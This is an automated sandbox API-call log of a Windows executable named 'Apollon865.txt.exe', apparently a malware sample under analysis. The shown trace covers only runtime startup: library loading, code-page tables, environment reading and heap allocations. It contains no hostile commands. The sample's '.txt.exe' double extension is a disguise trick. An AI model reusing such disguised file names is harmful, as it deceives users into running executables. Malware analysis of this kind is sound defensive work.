# Flog Txt Version 1
# Analyzer Version: 3.1.1
# Analyzer Build Date: Jul 31 2019 13:47:23
# Log Creation Date: 01.09.2019 09:39:08.147

Process:
	id = "1"
	image_name = "apollon865.txt.exe"
	filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\apollon865.txt.exe"
	page_root = "0x4c6ca000"
	os_pid = "0xa14"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe\" "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0xa18

	[0029.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x39f8cc | out: lpSystemTimeAsFileTime=0x39f8cc*(dwLowDateTime=0x2a6548b0, dwHighDateTime=0x1d560a9)) 
	[0029.897] GetCurrentThreadId () returned 0xa18
	[0029.897] GetCurrentProcessId () returned 0xa14
	[0029.897] QueryPerformanceCounter (in: lpPerformanceCount=0x39f8c4 | out: lpPerformanceCount=0x39f8c4*=15012884654) returned 1
	[0029.915] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0029.915] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0029.915] GetLastError () returned 0x57
	[0029.915] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0029.915] GetLastError () returned 0x57
	[0029.915] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000
	[0029.916] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28
	[0029.916] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0029.916] GetLastError () returned 0x57
	[0029.916] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b
	[0029.916] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208
	[0029.916] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0029.916] GetLastError () returned 0x57
	[0029.916] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74650000
	[0029.919] GetProcAddress (hModule=0x74650000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0029.919] GetProcessHeap () returned 0x580000
	[0029.919] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0029.919] GetLastError () returned 0x57
	[0029.919] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0029.921] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0029.921] GetLastError () returned 0x57
	[0029.921] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000
	[0029.921] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b
	[0029.921] GetLastError () returned 0x57
	[0029.921] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252
	[0029.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x364) returned 0x5949f0
	[0029.921] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208
	[0029.921] SetLastError (dwErrCode=0x57) 
	[0029.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc00) returned 0x594d60
	[0029.923] GetStartupInfoW (in: lpStartupInfo=0x39f800 | out: lpStartupInfo=0x39f800*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x12217a0, hStdOutput=0x547ac7f4, hStdError=0xfffffffe)) 
	[0029.923] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0029.923] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0029.923] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0029.923] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe\" "
	[0029.923] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe\" "
	[0029.923] GetLastError () returned 0x57
	[0029.923] SetLastError (dwErrCode=0x57) 
	[0029.923] GetLastError () returned 0x57
	[0029.923] SetLastError (dwErrCode=0x57) 
	[0029.923] GetACP () returned 0x4e4
	[0029.923] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x220) returned 0x5946a8
	[0029.923] IsValidCodePage (CodePage=0x4e4) returned 1
	[0029.923] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x39f830 | out: lpCPInfo=0x39f830) returned 1
	[0029.924] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x39f0f8 | out: lpCPInfo=0x39f0f8) returned 1
	[0029.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39f70c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0029.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39f70c, cbMultiByte=256, lpWideCharStr=0x39ee98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ꟡ĢĀ") returned 256
	[0029.924] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ꟡ĢĀ", cchSrc=256, lpCharType=0x39f10c | out: lpCharType=0x39f10c) returned 1
	[0029.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39f70c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0029.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39f70c, cbMultiByte=256, lpWideCharStr=0x39ee48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ띵ĢĀ") returned 256
	[0029.924] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0029.924] GetLastError () returned 0x57
	[0029.924] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0029.924] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1
	[0029.924] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ띵ĢĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0029.924] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ띵ĢĀ", cchSrc=256, lpDestStr=0x39ec38, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256
	[0029.924] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x39f60c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ|XfUHø9", lpUsedDefaultChar=0x0) returned 256
	[0029.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39f70c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0029.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39f70c, cbMultiByte=256, lpWideCharStr=0x39ee68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0029.924] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0029.924] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x39ec58, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256
	[0029.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x39f50c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ|XfUHø9", lpUsedDefaultChar=0x0) returned 256
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5948d0
	[0029.925] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x125a130, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\apollon865.txt.exe")) returned 0x38
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x41) returned 0x596168
	[0029.925] RtlInitializeSListHead (in: ListHead=0x1259d48 | out: ListHead=0x1259d48) 
	[0029.925] GetLastError () returned 0x0
	[0029.925] SetLastError (dwErrCode=0x0) 
	[0029.925] GetEnvironmentStringsW () returned 0x5961b8*
	[0029.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x565) returned 0x596c90
	[0029.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x596c90, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381
	[0029.925] FreeEnvironmentStringsW (penv=0x5961b8) returned 1
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x98) returned 0x5961b8
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1f) returned 0x5960b0
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x36) returned 0x596258
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x37) returned 0x596298
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3c) returned 0x5962d8
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x31) returned 0x596320
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x17) returned 0x594958
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x24) returned 0x590e30
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x14) returned 0x596360
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xd) returned 0x58eee8
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x25) returned 0x596380
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x39) returned 0x5963b0
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x18) returned 0x5963f8
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x17) returned 0x596418
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xe) returned 0x58ef00
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x69) returned 0x596438
	[0029.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3e) returned 0x5964b0
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1b) returned 0x5960d8
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1d) returned 0x596100
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x48) returned 0x5964f8
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x12) returned 0x596548
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x18) returned 0x596568
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1b) returned 0x596128
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x24) returned 0x596588
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x29) returned 0x5965b8
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1e) returned 0x597218
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x41) returned 0x597a00
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x17) returned 0x597a50
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xf) returned 0x58ef18
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x16) returned 0x597a70
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2a) returned 0x597a90
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x29) returned 0x597ac8
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x15) returned 0x597b00
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1e) returned 0x597240
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2a) returned 0x597b20
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x12) returned 0x597b58
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x18) returned 0x597b78
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x46) returned 0x597b98
	[0029.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596c90 | out: hHeap=0x580000) returned 1
	[0029.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x800) returned 0x5965f0
	[0029.926] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
